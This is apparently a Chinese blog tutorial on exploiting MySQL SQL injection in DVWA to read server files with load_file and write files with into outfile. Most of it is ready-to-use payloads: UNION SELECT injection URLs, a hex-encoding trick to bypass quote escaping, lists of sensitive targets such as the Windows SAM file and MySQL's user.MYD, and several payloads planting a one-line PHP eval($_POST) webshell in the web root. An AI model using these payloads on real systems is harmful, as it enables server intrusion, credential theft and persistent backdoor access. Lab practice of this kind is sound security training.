美文网首页
对服务器文件进行读写操作获取webshell

对服务器文件进行读写操作获取webshell

作者: 卿酌南烛_b805 | 来源:发表于2020-08-03 23:39 被阅读0次

    使用into outfile需要有以下条件:

    1、需要知道远程目录
    2、需要远程目录有写权限
    3、需要数据库开启secure_file_priv进行读写操作
    

    数据库开启secure_file_priv
    into outfile 可以将select的结果写入到指定目录的txt中,但需要数据库开启secure_file_priv,怎么开启secure_file_priv。
    在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ' ';然后以管理员身份运行cmd,进入mysql/bin停止mysql服务net stop mysql,重新启动mysql服务net start mysql,登入mysql mysql -u root -p enter password: password,执行命令show variables like '%secure%';查看secure_file_priv的值(这里已经将secure_file_priv的值设为空,但正常显示为NULL和文件路径),显示以下界面说明可以对服务器进行读写操作。

    image.png
    下面通过联合查询对服务器进行读写操作
    使用联合查询语句构造,利用注入读取/ect/passwd 文件(linux系统)
    ‘UNION SELECT 1, load_file(/etc/passwd) +–+
    使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
    ‘ UNION SELECT 1, load_file(‘c:\1.txt’) +–+ 或者
    ‘ union select 1, load_file(‘c:/1.txt’) +–+
    注: “\”(编程里面""转义)
    http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file('c:\boot.ini')+--+&Submit=Submit

    如果出现以下情况:
    Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\BOOT.INI\’),2
    显然,在“php.ini"配置文件中magic_quotes_gpc为on或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成',因此函数未能正确执行功能.要绕开此过滤,可将c:\boot.ini转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交如下链接。
    http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit
    http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1 and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)+--+&Submit=Submit

    如果想对服务器进行写操作,直接用下用这条语句进行操作:
    http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%20'568311803',2 into outfile 'c:/muma.txt'+--+&Submit=Submit
    写个一句话试试:
    http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt'+--+&Submit=Submit
    为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。所以得出结论:如果用编码就不要用单引号,用单引号就不要用编码。

    image.png

    获取web路径方法

    %27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit  //路径记得转化为十六进制
    

    常见WINDOWS下配置文件:

    c:/windows/php.ini //php配置信息
    c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
    c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
    d:\APACHE\Apache2\conf\httpd.conf
    c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
    

    LUNIX/UNIX 下:

    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
    /usr/local/apache2/conf/httpd.conf
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    /etc/sysconfig/iptables //从中得到防火墙规则策略
    /etc/httpd/conf/httpd.conf // apache配置文件
    /etc/rsyncd.conf //同步程序配置文件
    /etc/my.cnf //mysql的配置文件
    /etc/redhat-release //系统版本
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    

    服务器读取文件

    union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
    

    写webshell获取权限

    union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
    

    获取webshell

    利用sql注入写入webshell
    假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。
    ‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ //这种反斜找扛/本地没测试,大家测试一下,推见大家用两个反\方法,例如:
    http://192.168.0.105:8080/dvwa/vulnerabilities/sqli/?id=1' union select "<?php @eval($_POST['chopper']);?>",2 into outfile "c:\php\htdocs\dvwa\123.php"+--+&Submit=Submit

    image.png

    相关文章

      网友评论

          本文标题:对服务器文件进行读写操作获取webshell

          本文链接:https://www.haomeiwen.com/subject/cgdkrktx.html